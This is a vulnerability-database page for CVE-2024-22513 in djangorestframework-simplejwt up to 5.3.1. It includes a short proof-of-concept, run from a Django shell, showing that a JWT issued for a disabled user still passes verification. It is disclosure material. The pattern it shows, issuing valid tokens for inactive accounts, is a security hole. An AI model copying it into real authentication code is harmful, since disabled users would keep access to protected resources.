Lucene search
K

Django REST Framework SimpleJWT 5.3.1 Information Disclosure

🗓️ 15 Apr 2024 00:00:00Reported by Dhrumil MistryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 490 Views

Django REST Framework SimpleJWT 5.3.1 Information Disclosure, BOLA, BFL

Related
Code
ReporterTitlePublishedViews
Family
0day.today
djangorestframework-simplejwt 5.3.1 - Information Disclosure Exploit
15 Apr 202400:00
zdt
Circl
CVE-2024-22513
11 Feb 202414:18
circl
CNNVD
Simple JWT Security Vulnerability
16 Mar 202400:00
cnnvd
CVE
CVE-2024-22513
16 Mar 202400:00
cve
Cvelist
CVE-2024-22513
16 Mar 202400:00
cvelist
Debian CVE
CVE-2024-22513
16 Mar 202400:00
debiancve
Exploit DB
djangorestframework-simplejwt 5.3.1 - Information Disclosure
15 Apr 202400:00
exploitdb
Github Security Blog
Improper Privilege Management in djangorestframework-simplejwt
16 Mar 202409:30
github
NVD
CVE-2024-22513
16 Mar 202407:15
nvd
OPENSUSE Linux
Security update for python-djangorestframework-simplejwt (moderate)
9 Nov 202500:00
opensuse
Rows per page
`# Exploit Title: djangorestframework-simplejwt 5.3.1 - Information Disclosure  
# Date: 26/01/2024  
# Exploit Author: Dhrumil Mistry (dmdhrumilmistry)  
# Vendor Homepage: https://github.com/jazzband/djangorestframework-simplejwt/  
# Software Link:https://github.com/jazzband/djangorestframework-simplejwt/releases/tag/v5.3.1  
# Version: <= 5.3.1  
# Tested on: MacOS  
# CVE : CVE-2024-22513  
  
# The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.  
# This vulnerability has the potential to cause various security issues,  
# including Business Object Level Authorization (BOLA), Business Function  
# Level Authorization (BFLA), Information Disclosure, etc. The vulnerability  
# arises from the fact that a user can access web application resources even  
# after their account has been disabled, primarily due to the absence of proper  
# user validation checks.  
  
# If a programmer generates a JWT token for an inactive user using  
`AccessToken`  
# class and `for_user` method then a JWT token is returned which can  
be used for  
# authentication across the django and django rest framework application.  
  
# Start Django Shell using below command:  
# python manage.py shell  
# ----------------------------------------  
  
# Create inactive user and generate token for the user  
from django.contrib.auth.models import User  
from rest_framework_simplejwt.tokens import AccessToken  
  
# create inactive user  
inactive_user_id = User.objects.create_user('testuser',  
'[email protected]', 'testPassw0rd!', is_active=False).id  
  
# django application programmer generates token for the inactive user  
AccessToken.for_user(User.objects.get(id=inactive_user_id)) # error  
should be raised since user is inactive  
  
# django application verifying user token  
AccessToken.for_user(User.objects.get(id=inactive_user_id)).verify() #  
no exception is raised during verification of inactive user token  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation